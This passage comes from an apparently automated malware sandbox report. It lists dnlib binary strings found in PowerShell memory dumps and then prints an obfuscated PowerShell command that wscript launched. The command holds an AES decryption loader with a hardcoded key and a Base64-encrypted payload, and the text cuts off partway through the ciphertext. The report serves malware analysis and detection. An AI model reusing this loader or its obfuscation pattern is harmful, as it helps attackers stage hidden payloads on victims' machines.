              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp

              Data Obfuscation

              barindex
              Obfuscated command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi